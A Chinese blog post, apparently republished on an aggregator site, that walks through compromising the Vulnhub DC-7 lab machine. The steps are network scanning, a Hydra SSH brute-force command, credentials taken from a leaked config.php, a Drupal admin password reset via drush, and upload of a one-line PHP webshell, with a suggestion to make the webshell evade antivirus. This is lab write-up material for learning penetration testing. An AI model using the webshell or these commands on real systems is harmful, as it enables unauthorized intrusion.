Vulnhub靶机渗透:DC-7打靶记录

2024-03-20 10:28

本文主要是介绍Vulnhub靶机渗透:DC-7打靶记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

自信自强,来自于不怕苦、不怕难的积淀。宝剑锋从磨砺出,梅花香自苦寒来;任何美好理想,都离不开筚路蓝缕、手胼足胝的艰苦奋斗!

靶场介绍

DC-7是一个初中级的靶场,需要具备以下前置知识:

  • 基础的Linux命令及操作(arp,whatweb…)
  • 基础的渗透测试工具使用(Kali自带的工具,eg:Hydra,MSF…)
  • Linux系统提权知识

友情提示:

该靶场只需要简单的下载,解压,打开并将其导入到VMware即可;应该将其网络配置为NAT模式,保证机器与kali在同一个网段下,方便操作

1651799646_6274765e0f7dcacdd7c0e.png!small?1651799646134

DC7小提示:

If you need to resort to brute forcing or dictionary attacks, you probably won’t succeed.What you will need to do, is to think “outside” of the box.Waaaaaay “outside” of the box.The ultimate goal of this challenge is to get root and to read the one and only flag.

翻译:如果需要诉诸蛮力或者字典攻击,很可能不会成功。你需要做的是跳出框框去思考。在盒子外面,这项挑战的最终目标是找到根并读取唯一的flag。

**信息收集 **

因为是靶机环境,所以无法模拟真实的"实战"环境;所以假设"目标"是一个局域网内的主机;为了确定"域控DC",我们可以通过kali中的arp-scan来探测域环境;最后以namp等端口扫描器进行端口判定

1651799740_627476bce756e93f50c5d.png!small?1651799743537

因为我只开了两台虚拟机,所以非常容易的通过arp命令就找到了CD靶机的IP地址

arp-scan -l  nmap -sS IP

友情提示:namp扫描时建议使用nmap -sS IPnmap -p IP容易引发网站崩溃和警报)如果你的系统不是linux那你可以考虑下载nmap图形化界面,有利于初学者

下一步通过访问80端口与22端口;确定在哪个端口进行打点;我们通过访问80端口可以发现左下角,存在一些信息泄露(页面不同是因为我已经登录成功所导致的)

1651799773_627476dda91f6445789a8.png!small?1651799774354

补充:我们可以发现@DC7USER,可能存在敏感信息泄露

22端口:我们尝试使用Hydar对ssh的22端口进行暴力破解,最终破解失败

hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip sshhydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

所以通过端口访问,我们从80端口进行突破;首先可以通过Wappalyzer这款插件进行信息收集;但是因为笔者kali没有下载,所以只能使用kali自带的whatweb进行信息收集(使用方法:whatweb -v IP

1651799822_6274770e6886ae335a275.png!small?1651799823193

使用whatweb探查结果如下所示:

1651799843_627477233b70e3a2ac965.png!small?1651799846536

然后祭出"MSF",但是可惜并没有可以利用的漏洞,但是我们根据"敏感信息"发现该靶场存在源代码泄露;通过谷歌(百度也可以)搜索"@DC7USER"关键词,找到源代码

1651799861_627477354bae505cf1ffe.png!small?1651799861551

更据提示信息发现 config.php文件( config.php文件读里可能存在配置文件信息…),与此同时我们发现了数据库密码

1651799918_6274776eb6bec448dfa34.png!small?1651799918941

1651799934_6274777e062efbe0c2d34.png!small?1651799935099

通过连接我们发现该数据库连接不上,但是我们的ssh却可以通过该密码连接成功!

1651799955_627477932fef82b5d445a.png!small?1651799956263

**打点 **

1651800168_62747868e85c309b7001c.png!small?1651800172633因此我们可以使用ls命令,探测文件目录;在通过cat mbox查看文件配置和敏感信息与文件路径…

1651800148_62747854635473f381d0f.png!small?1651800151103

通过仔细的观察发现/opt/scripts(定时任务)的路径存在root的使用权限;我们首先通过cd /opt/scripts跳转到该目录;在使用ls查询,最后使用ls -l查看该文件夹是否有写入权限;如果我们获得了该文件的写入权限,就可以写入shell,然后依靠任务使用root去执行shell。但是我们发现该文件并没写入权限;于是通过cd 命令,去寻找其他漏洞;我们发现可以在/var/www/html目录下使用drush命令;于是可以我们更改网页的登录密码;代码如下:

cd /var/www/htmldrush user-password admin --password="123" 

通过"success"我们可以知道,密码更改成功!尝试登陆网站!

**提权 **

通过输入修改后的密码,成功登录网站后台。

1651800100_627478240ee5aaea74a8d.png!small?1651800100396

我们接着开始寻找"一句话木马"的写入点,我们发现content可能存在上传点

1651800077_6274780ddbe278483c11e.png!small?1651800078200

1651800047_627477efd7154b0282668.png!small?1651800048176

但是大多数上传点无法使用php,但是通过Extand可以安装php环境

1651800023_627477d7ca0c7445a8932.png!small?1651800024030

安装成功!这时我们就可以通过该环境上传webshell!

这次我们使用网上常用的PHP一句话木马,建议有条件的可以对木马进行免杀处理(当然也可以使用PHP反弹shell的方式进行攻击)

<?php@preg_replace("/[email]/e",$_POST['123'],"error");?>

1651799988_627477b4134c0e951dbd5.png!small?1651799988472

注意text format的格式改为PHP,即可通过图形化页面进行连接,进而获得flag!

这篇关于Vulnhub靶机渗透:DC-7打靶记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/829167

相关文章

Spring Boot 配置文件之类型、加载顺序与最佳实践记录

《SpringBoot配置文件之类型、加载顺序与最佳实践记录》SpringBoot的配置文件是灵活且强大的工具,通过合理的配置管理,可以让应用开发和部署更加高效,无论是简单的属性配置,还是复杂... 目录Spring Boot 配置文件详解一、Spring Boot 配置文件类型1.1 applicatio

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1

Spring Boot中定时任务Cron表达式的终极指南最佳实践记录

《SpringBoot中定时任务Cron表达式的终极指南最佳实践记录》本文详细介绍了SpringBoot中定时任务的实现方法,特别是Cron表达式的使用技巧和高级用法,从基础语法到复杂场景,从快速启... 目录一、Cron表达式基础1.1 Cron表达式结构1.2 核心语法规则二、Spring Boot中定

国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)

《国内环境搭建私有知识问答库踩坑记录(ollama+deepseek+ragflow)》本文给大家利用deepseek模型搭建私有知识问答库的详细步骤和遇到的问题及解决办法,感兴趣的朋友一起看看吧... 目录1. 第1步大家在安装完ollama后,需要到系统环境变量中添加两个变量2. 第3步 “在cmd中

Spring Retry 实现乐观锁重试实践记录

《SpringRetry实现乐观锁重试实践记录》本文介绍了在秒杀商品SKU表中使用乐观锁和MybatisPlus配置乐观锁的方法,并分析了测试环境和生产环境的隔离级别对乐观锁的影响,通过简单验证,... 目录一、场景分析 二、简单验证 2.1、可重复读 2.2、读已提交 三、最佳实践 3.1、配置重试模板

在 Spring Boot 中使用异步线程时的 HttpServletRequest 复用问题记录

《在SpringBoot中使用异步线程时的HttpServletRequest复用问题记录》文章讨论了在SpringBoot中使用异步线程时,由于HttpServletRequest复用导致... 目录一、问题描述:异步线程操作导致请求复用时 Cookie 解析失败1. 场景背景2. 问题根源二、问题详细分

关于Spring @Bean 相同加载顺序不同结果不同的问题记录

《关于Spring@Bean相同加载顺序不同结果不同的问题记录》本文主要探讨了在Spring5.1.3.RELEASE版本下,当有两个全注解类定义相同类型的Bean时,由于加载顺序不同,最终生成的... 目录问题说明测试输出1测试输出2@Bean注解的BeanDefiChina编程nition加入时机总结问题说明

将sqlserver数据迁移到mysql的详细步骤记录

《将sqlserver数据迁移到mysql的详细步骤记录》:本文主要介绍将SQLServer数据迁移到MySQL的步骤,包括导出数据、转换数据格式和导入数据,通过示例和工具说明,帮助大家顺利完成... 目录前言一、导出SQL Server 数据二、转换数据格式为mysql兼容格式三、导入数据到MySQL数据